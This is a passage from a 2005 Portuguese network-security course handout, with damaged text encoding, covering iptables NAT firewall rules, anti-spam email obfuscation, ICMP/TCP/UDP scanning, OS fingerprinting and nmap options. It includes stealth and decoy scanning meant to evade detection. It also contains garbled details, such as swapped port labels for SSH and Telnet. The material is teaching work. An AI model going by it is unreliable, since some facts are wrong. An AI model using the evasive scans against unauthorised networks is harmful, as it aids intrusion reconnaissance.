-p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

